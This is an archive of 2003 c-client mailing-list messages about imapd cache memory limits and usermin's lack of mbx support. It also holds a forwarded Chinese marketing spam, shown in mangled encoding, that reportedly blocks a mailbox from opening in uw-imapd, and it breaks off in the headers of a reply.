mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h16HWUGD004202; Thu, 6 Feb 2003 09:32:30 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h16HWUTZ029105 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Thu, 6 Feb 2003 09:32:30 -0800 Message-Id: Date: Thu, 6 Feb 2003 09:32:30 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Harrie Hazewinkel Cc: imap c-client Subject: Re: cache size limitation In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 6 Feb 2003, Harrie Hazewinkel wrote: > I was wondering if some one has been succefull in limiting the > size of the message cache of a mailstream in the 'imapd' daemon. > What I want to do is limit the amount of memory usage per > process/imapd daemon, since a process can become real big > in memory footprint when it handles a mailbox of over 1000 of emails. 1000 messages is not "really big". 10,000 messages is "big", and 100,000 messages is "really big". I suggest that if you find that if you are having memory problems with small 1000 message mailboxes, that you spend a few Euros to increase your memory to an adequate size. The last time I bought memory, it was US $.33/MB. It's probably cheaper now. You will waste much more money in CPU resources and in human time than you will save by not buying adequate memory. > I understood I could write my of cache function, by means > of implementing a function like mm_cache and do a > mail_parameters(NIL, SET_CACHE, my_cache) during the init > phase, but (correct me if I am wrong) the imap-daemon needs > the complete set of message in a cache arrray in order to > responds properly to a client. You can swap things out to disk by using a SET_CACHE function. That's what we did in 16-bit Windows. I don't think that any of us ever again want to do that (you'll notice that we no long build 16-bit versions of Pine). > I did a small expiriment with my own cache function in which > I just kept a single message in cache. Then in case of a > 'UID FETCH' no message information is returned to the client. > Just directly the OK, even though it does a complete parse of > a mailbox. That's because you didn't change the cached message to be the one that imapd is referencing. You can't just return nulls. Getting a SET_CACHE function right is a lot of work. I doubt that you would ever recover the costs of your development in savings from not buying memory. We spent a long long time building the SET_CACHE technoogy in the c-client library and in using it in Pine, and we were very happy to abandon it totally in Pine 4.00. That is another thing; SET_CACHE hasn't been used by us in a very long time. I don't think that I've done anything to break it in c-client, but since it hasn't been used it hasn't been tested in several years. You should expect to encounter problems. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Mon Feb 10 22:21:25 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 10 Feb 2003 22:21:24 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1B6LOTk013304 for ; Mon, 10 Feb 2003 22:21:24 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1B6LLWb003858 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 10 Feb 2003 22:21:22 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h1B6Kb09027264; Mon, 10 Feb 2003 22:20:37 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1B6IECK004986 for ; Mon, 10 Feb 2003 22:18:14 -0800 Received: from sheridan.sibble.com (s64-180-126-175.bc.hsia.telus.net [64.180.126.175]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1B6IDfV014302 for ; Mon, 10 Feb 2003 22:18:13 -0800 Received: from gkar (jakar2.sibble.com [192.168.73.4]) by sheridan.sibble.com (8.9.3/8.9.3) with ESMTP id WAA05470 for ; Mon, 10 Feb 2003 22:17:24 -0800 Message-Id: <200302110617.WAA05470@sheridan.sibble.com> Date: Mon, 10 Feb 2003 22:18:11 -0800 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: c-client@u.washington.edu Subject: usermin and mbx MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=XIIIIIII, Probability=17%, Report="MSG_ID_ADDED_BY_MTA_3, SIGNATURE_LONG_SPARSE, SPAM_PHRASE_00_01, __EVITE_CTYPE" Anyone have any info on getting Usermin to play nicely with mbx formatted mail stores? I recently converted a server from Mbox (/var/spool/mail) to mbx (~/INBOX) style mail stores. Usermin offers a web based mail function (kinda similar to hotmail and yahoo etc) for reading/replying to messages. I've played with some of the various settings howver I can't get it to see any of the mail in the mbx file under the home dirs. Any suggestions? I suspect usermin is not mbx aware, but then again I could be wrong and just don't have it configured correctly. I will be asking the Usermin dev folks this question also. -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Feb 10 22:24:22 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 10 Feb 2003 22:24:22 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1B6OMTk013415 for ; Mon, 10 Feb 2003 22:24:22 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1B6OJWb003906 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 10 Feb 2003 22:24:19 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h1B6NiDb093322; Mon, 10 Feb 2003 22:23:45 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1B6NJCK069586 for ; Mon, 10 Feb 2003 22:23:19 -0800 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1B6NIHT020039 for ; Mon, 10 Feb 2003 22:23:18 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id WAA07890; Mon, 10 Feb 2003 22:23:14 -0800 (PST) Message-Id: Date: Mon, 10 Feb 2003 22:22:32 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: help@pdscc.com Cc: c-client@u.washington.edu Subject: re: usermin and mbx In-Reply-To: <200302110617.WAA05470@sheridan.sibble.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have never heard of usermin, but unless it is c-client based it probably is *not* mbx-aware. Nor should it be if it is not c-client based. From pinedev@shivax2.cac.washington.edu Mon Feb 10 22:56:25 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 10 Feb 2003 22:56:25 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1B6uPTk014326 for ; Mon, 10 Feb 2003 22:56:25 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1B6uMnO009057 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 10 Feb 2003 22:56:22 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h1B6tell031386; Mon, 10 Feb 2003 22:55:40 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1B6stCK067562 for ; Mon, 10 Feb 2003 22:54:55 -0800 Received: from sheridan.sibble.com (s64-180-126-175.bc.hsia.telus.net [64.180.126.175]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1B6srZ7005319 for ; Mon, 10 Feb 2003 22:54:54 -0800 Received: from gkar (jakar2.sibble.com [192.168.73.4]) by sheridan.sibble.com (8.9.3/8.9.3) with ESMTP id WAA05691; Mon, 10 Feb 2003 22:52:38 -0800 Message-Id: <200302110652.WAA05691@sheridan.sibble.com> Date: Mon, 10 Feb 2003 22:53:25 -0800 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: Mark Crispin Cc: c-client@u.washington.edu Subject: re: usermin and mbx In-Reply-To: References: <200302110617.WAA05470@sheridan.sibble.com> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN http://www.usermin.com or http://www.webmin.com/index6.html Basically a web based admin tool (webmin) and user tool for mail and forwarding (usermin) webmin http://www.webmin.com Well it definatley not mbx aware... Hopefully one of the devlopers of usermin can shed some light on this. On 10 Feb 2003 at 22:22, Mark Crispin wrote: > I have never heard of usermin, but unless it is c-client based it probably is > *not* mbx-aware. Nor should it be if it is not c-client based. > -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) From pinedev@shivax2.cac.washington.edu Tue Feb 11 22:19:07 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 11 Feb 2003 22:19:07 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1C6J7Tk029610 for ; Tue, 11 Feb 2003 22:19:07 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1C6J3Wb011475 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 11 Feb 2003 22:19:03 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h1C6ID09028762; Tue, 11 Feb 2003 22:18:13 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1C6GWCK085402 for ; Tue, 11 Feb 2003 22:16:32 -0800 Received: from sheridan.sibble.com (s64-180-126-175.bc.hsia.telus.net [64.180.126.175]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1C6GRHT006543 for ; Tue, 11 Feb 2003 22:16:27 -0800 Received: from gkar (jakar2.sibble.com [192.168.73.4]) by sheridan.sibble.com (8.9.3/8.9.3) with ESMTP id WAA05177; Tue, 11 Feb 2003 22:14:15 -0800 Message-Id: <200302120614.WAA05177@sheridan.sibble.com> Date: Tue, 11 Feb 2003 22:15:02 -0800 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: Mark Crispin Cc: c-client@u.washington.edu Subject: re: usermin and mbx In-Reply-To: References: <200302110617.WAA05470@sheridan.sibble.com> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Actually the head developer said he will put imap support into usermin, neatly sidestepping the need to be mbx aware. On 10 Feb 2003 at 22:22, Mark Crispin wrote: > I have never heard of usermin, but unless it is c-client based it probably is > *not* mbx-aware. Nor should it be if it is not c-client based. > -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) From pinedev@shivax2.cac.washington.edu Fri Feb 14 00:25:37 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 14 Feb 2003 00:25:37 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1E8PbTk030988 for ; Fri, 14 Feb 2003 00:25:37 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1E8PWWb031689 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 14 Feb 2003 00:25:33 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h1E8Oojm028968; Fri, 14 Feb 2003 00:24:51 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1E8Loh4022186 for ; Fri, 14 Feb 2003 00:21:50 -0800 Received: from math.fu-berlin.de (leibniz.math.fu-berlin.de [160.45.40.10]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h1E8Llkp007285 for ; Fri, 14 Feb 2003 00:21:48 -0800 Received: (qmail 17110 invoked by uid 9804); 14 Feb 2003 09:21:46 +0100 Received: from localhost (HELO math.fu-berlin.de) (127.0.0.1) by localhost with SMTP; 14 Feb 2003 09:21:37 +0100 Received: (Qmail 16590 invoked from network); 14 Feb 2003 09:21:03 +0100 Received: From eremix.inf.fu-berlin.de (HELO eremix) (160.45.113.36) by leibniz.math.fu-berlin.de with SMTP; 14 Feb 2003 09:21:03 +0100 Message-Id: <2147483647.1045214465@[10.0.255.35]> Date: Fri, 14 Feb 2003 09:21:05 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dirk Pape To: c-client@u.washington.edu Subject: message that prevents opening of a mailbox through wu-imapd (fwd) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="==========2147500486==========" X-Envelope-Sender: pape@inf.fu-berlin.de X-Virus-Scanned: by AMaViS 0.3.12pre7-U12 [17010] (NAI-uvscan@math.fu-berlin.de) X-Remote-IP: 160.45.113.36 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --==========2147500486========== Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline if the attached mail is in a Unix-mailbox, the mailbox appears empty or cannot be opened through uw-imapd. I tried two imap clients (Mulberry and Horde/IMP-Webmail) to verify. Regards, Dirk. --==========2147500486========== Content-Type: message/rfc822; name="message that prevents opening of a mailbox through wu-imapd (fwd)" Return-Path: Delivered-To: pape@inf.fu-berlin.de Received: (qmail 29631 invoked by uid 9804); 10 Feb 2003 11:17:42 +0100 Received: from localhost (HELO math.fu-berlin.de) (127.0.0.1) by localhost with SMTP; 10 Feb 2003 11:17:25 +0100 Received: (Qmail 28892 invoked from network); 10 Feb 2003 11:16:45 +0100 Received: From unknown (HELO mo) (61.146.225.15) by leibniz.math.fu-berlin.de with SMTP; 10 Feb 2003 11:16:45 +0100 From: =?GB2312?B?1tC5+s34wue0tNK10MXPotbQ0MQ=?= Subject: =?GB2312?B?0rXT4NTavNLW0LvyzfiwybeitefX09PKvP7Q+7SrzfjVvteswLTDv9TCyc/N?= X-Envelope-Sender: huyat@haoui.com X-Virus-Scanned: by AMaViS 0.3.12pre7-U12 [29421] (NAI-uvscan@math.fu-berlin.de) X-may-be-Spam: SpamAssassin: 10.4/5.0 X-Remote-IP: 61.146.225.15 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit =?GB2312?B?8tSqyMvD8bHS?= To: pape@inf.fu-berlin.de Content-Type: text/plain; charset="GB2312" Date: Mon, 10 Feb 2003 18:16:59 +0800 X-Priority: 2 X-Mailer: jpfree Group Mail Express V1.0 ÅóÓÑÄúºÃ! Ê×Ïȱ¾ÖÐÐÄÈ«Ì幤×÷ÈËÔ±×£Ô¸ÄãÐÂÄê¿ìÀÖ£¬ÇéÈ˽ڿìÀÖ£¡Í¨¹ýÎÒÃǵÄŬÁ¦£¬ÔÚÈ¥ÄêÎÒÃǸø²»ÉÙÍøÂçºÃÓÑÃÇ´øÀ´Á˲»ÉÙµÄÊÕ»ñ¡£»¹¼ÇµÃÎÒÃÇ È¥Äê·¢³öµÄSOHO´´ÒµÁªÃËÂð£¿ÎÒÃÇ×î½ü¸Õ¸Õ½Óµ½ÍøÓѵÄÓʼþ¸æËßÎÒÃÇÔÚ´º½Ú10ÌìÄÚ׬µ½ÁË3000ÔªµÄ²»ÔÚÏÂÊý£¬¶øÇÒÕâ½ö½öÊÇÆðµã¡£ÎÒÃÇÓÐÀíÓÉ ÈÃÈÈ°®ÍøÂçµÄÈËȺÔÙÐÂÄêÀïÓиü¶à¾ªÏ²£¡ 1¡£ÁªÃËÍøÂ磺¸æËßÄãÕâÊǸöÌì´óµÄºÃÏûÏ¢£¬Õâ¸öÁªÃ˸ոճÉÁ¢£¬ÏÖÔÚµ½2ÔÂ15ÈÕÃâ·Ñ×¢²áÃâ·ÑÈ«²¿¼¤»î£¬¶øÇÒÄãҪץ½ôʱ¼äŶ£¬¸Ï¿ìÐû´«£¬Èà ÄãÏÖÔÚÓµÓÐÎÞÊýΪÄã׬ǮµÄÏÂÏߣ¬ÕæµÄ£¬¿ì¿ìÈ¥×¢²á£¡Ãâ·Ñ!!!Öйú½ðÍøÉÌÎñÐÅÏ¢·þÎñÍø,ÏÖÔÚÃâ·Ñ¿ªÍ¨,ºÜ¿ìÃâ·ÑÆÚ½áÊø(½ØÖ¹15ÈÕ),ÇëËÙËÙ×¢²á, ʵÏÖÔÂ׬ÍòÔª.×¢²áµØÖ·:http://mshas.yeah.net Õý³£¼ÓÈëÐèÒª100Ôª¡°¶à²ã´ÎÐÅÏ¢ÍøÂçÓªÏú¡±ÕýÔÚ¹úÍⳬËÙ·¢Õ¹¡£ÔÚ ÃÀ¹úµÄ50Íò¸ö°ÙÍò¸»ÎÌÖУ¬ ÓÐ20%ÊÇÔÚ¹ýÈ¥µÄ¼¸Äêͨ¹ý¡°¶à²ã´ÎÐÅÏ¢ÍøÂçÓªÏú¡± MULTI-LEVEL MARKETING (MLM)" ¶ø³É¹¦µÄ¡£´ËÍ⣬¼ÆÏÔʾÿÌìƽ¾ùÓÐ45¸öÈËͨ¹ýMLM¶ø³ÉΪ °ÙÍò¸»ÎÌ¡£Ä¿Ç°ÔÚÖйú£¬MLM»¹Êdzõ¶Ä߶ˣ¬Õâ¾ÍºÍ91Äê¹ÉƱÊг¡¸Õ¸Õ½øÈëÖйúµÄʱºò£¬Ò²ÓкöàÈ˲»ÏàÐŹÉƱÄÜ׬Ǯ¡£µ«Êǵ±µÚÒ»Åú¸»ÎÌ´Ó¹ÉƱ Êг¡ÀïÔì¾Í³öÀ´µÄʱºò£¬µ±³õûÓÐͶ×浀 ÈËÓÖ¶¼×·»ÚĪ¼°¡£Ëæ׿ÓÈëWTOºóºÍÍâ½ç˼άµÄ»¥Í¨ÓÐÎÞ£¬ÔÚ²»¾ÃÒÔºóMLMÒ»¶¨»á·çÃÒÆðÀ´¡£²Æ¸»ÓÀÔ¶ÊôÓÚÄÇЩÓг¤Ô¶Ñ۹⡢ÓÐÓÂÆø¡¢ÓÐÒãÁ¦µÄÈË£¬ Ôç¼ÓÈëÕâ¸öÖ¸»ÐÐÁУ¬×öµÚÒ»Åú»ñÀû Õß°É£¡ËÙËÙ×¢²á°É,ʱ¼ä²»µÈÈË,¹ýÆÚ¾øÎÞ»ú»á.µÈÓÅ»ÝÆÚÒ»¹ý,Äã¾Í¿ÉÒÔÀûÓÃÕâ¸öÍøվʵÏÖ׬ǮÃÎ!! ×¢²áµØÖ·:http://mshas.yeah.net Çë×¢²áÍêºóµÄ »áÔ±ÀμÇÄãµÄÓû§Ãû»òÍøÕ¾µØÖ·,ÓÚ½ü¶þÈÕËæʱ²éѯÍøÕ¾¿ªÍ¨Çé¿ö.Ò»°ãÇé¿öÏÂ2---24Сʱ¾Í¿ÉÒÔ¿ªÍ¨. 2¡£ÏÂÏßÁªÃË£ºÕâÒ²ÊÇÒ»¼Ò¸Õ¸Õ³ÉÁ¢µÄÁªÃË£¬´ÓÏÖÔÚµ½2ÔÂ15ÈÕÃâ·ÑÕÐÊÕ»áÔ±£¬Ö»ÒªÄãÏÖÔÚÈ¥×¢²á£¬È»ºó·Ö±ðÈ¥E-MAIL֪ͨ5¸öÉÏÏßËûÃǽ«ÍêÈ« Ãâ·ÑΪÄ㿪ͨÍøÕ¾£¬ÄãÖªµÀÂð£¿ÄãÏÖÔÚµÄ×¢²áÏÖÔÚµÄÐû´«½«ÎªÄãÔÚ¼¸Ììºó·è¿ñÊÕÈ룬½ö½ö5Ì죡¿ìÈ¥×¢²á£¬×¬Ç®ÊÇÃÎÂ𣿠http://www.chinamlm.net/lmw//downline/index.asp?id=earncash 3¡£Ë³·¢´úÀïµçÓ°´´ÒµÁªÃË£ºÕâÔÚÎÒÃÇÒÔÇ°ÒѾ­Ìá¹ý£¬ÕâÊÇÒ»¼ÒÒÔµçӰΪÖ÷µÄÁªÃËϵͳ£¬¼ÓÈëÖ»ÐèÒª80Ôª£¬ÍêÈ«ÓµÓÐÒ»¸ö²»¶Ï×Ô¶¯¸üеÄÁ÷ÐеçÓ°ÍøÕ¾ ¶øÇÒ»¹Ãâ·ÑÌṩÍøÕ¾¿Õ¼ä£¬Í¬Ê±»¹ËͼÛÖµ600ÔªµÄÐû´«Èí¼þ6Ì×£¬·Ç³£Á÷ÐУ¡µ±ÓÐÈË´ÓÄãÍøÕ¾¼ÓÈëÄã¿ÉÒÔ»ñÈ¡30-45Ôª£¡¿ìÈ¥×¢²á°É£¡ http://xun898.yeah.net 4¡£ÐÂÊý¾ÝÍøÂ磺ÎÒÏëÍøÂçÈ˶¼ÖªµÀÖ©ÖëÍø¸ø´ó¼ÒµÄÓ°Ï죬¸ø¶àÉÙÈË´øÀ´Á˲Ƹ»£¬µ«ÊDZϾ¹Ö©ÖëÍøÔÚÖйúÓµÓеÄÈËȺ̫¶àÌ«¶à£¬ÄÇôΪʲô֩ÖëÍø ÄÇôÁ÷ÐÐÄØ£¿¾ÍÊÇÒòΪËûµÄ·þÎñËûµÄÄÚÈÝËûµÄÐû´«ËûµÄÒ»ÇлáÔ±¹¦Äܶ¼ÊÇÏÖÔÚ×îÏȽø£¬¶øÇÒÏÖÔÚÒ²ÊÇÈç´Ë£¡µ«ÊÇÖ©ÖëÍøÓµÓеÄÈËÊýÈò»ÉÙÈËÍ˲½£¡ µ«ÊÇÏÖÔÚÓкÃÏûÏ¢£¬ÐÂÊý¾ÝÍøÂçÊÇÒ»¸öÐÂÐÔµÄÍøÂ磬¶øÇÒËûËùÓеŦÄܺÍÄÚÈÝÍêÈ«ºÍÖ©ÖëÍøÏàͬ£¬²¢ÇÒÓкܶàÐµĹ¦ÄÜ£¬ÍøÕ¾µÄÉè¼ÆÈÃÈ˶úĿһР¿Ï¶¨»áÈò»ÉÙÈËÎüÒý¶øÀ´£¬ÏÈÈ¥¿´¿´°É£¡ http://okok998.yeah.net 5¡£ÖйúÍØ»ÄÕßÁªÃË£ºÒ²ÊǷdz£²»´íµÄ£¬×¬Ç®µÄÅóÓѲ»Òª´í¹ý£¡ http://www.tf2003.com/?mid=aabb80 ÏàÐÅÎÒÃǵÄÐÅÏ¢¶ÔÄãºÍÄãµÄÅóÓÑ£¬·Ç³£ÓÐÓã¡ÍøÂç´´Òµ»¹ÊÇÃÎÂ𣿲»£¬ÏÖÔÚÒѾ­·Ç³£Á÷ÐУ¬ÄãΪʲôҪÂäºóÄØ£¿ ¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡Ö Àñ! ¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ ÖйúÍøÂç´´ÒµÐÅÏ¢ÖÐÐÄ ¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ xxk125636@sohu.com ¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ 2003-02-10 ÖÂǸ£ºÕâ·âEmail´òÈÅÁËÄú£¬Çë½ÓÊÜÎÒÃdzÏÖ¿µÄµÀǸ¡£Í˶¨ÇëÖ±½Ó»Ø¸´¿Õ°×Óʼþ£¬Ð»Ð»£¡ ============================================================= ÍøÒ×¾ãÀÖ²¿ÎªÄ㽨ÔìÒ»¸ö³¬¼¶µÄ˽ÈËÉçÇø£¡ http://our.163.com ÇéÈ˽ڲ»ÒªÔÙ×ö¹Â¶ÀÈË£¡Ô¼»áÆäʵºÜ¼òµ¥ http://dating.163.com/ õ¹å¡¢ÇÉ¿ËÁ¦¡¢ºÍÇ鲬½ð×ê½ä£¡ http://vip.163.com/lover/new_love.jsp ---------------------------------------------------------- --==========2147500486==========-- From pinedev@shivax2.cac.washington.edu Fri Feb 14 10:01:38 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 14 Feb 2003 10:01:38 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1EI1bTk014125 for ; Fri, 14 Feb 2003 10:01:37 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1EI1YnO021744 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 14 Feb 2003 10:01:34 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h1EHxmjm033430; Fri, 14 Feb 2003 09:59:48 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1EHvFh4033750 for ; Fri, 14 Feb 2003 09:57:15 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1EHvDZ8032255 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 14 Feb 2003 09:57:13 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1EHvAGD012663; Fri, 14 Feb 2003 09:57:10 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1EHvAZI021165 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Fri, 14 Feb 2003 09:57:10 -0800 Message-Id: Date: Fri, 14 Feb 2003 09:57:10 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Dirk Pape Cc: c-client@u.washington.edu Subject: Re: message that prevents opening of a mailbox through wu-imapd (fwd) In-Reply-To: <2147483647.1045214465@[10.0.255.35]> References: <2147483647.1045214465@[10.0.255.35]> MIME-Version: 1.0 Content-Type: 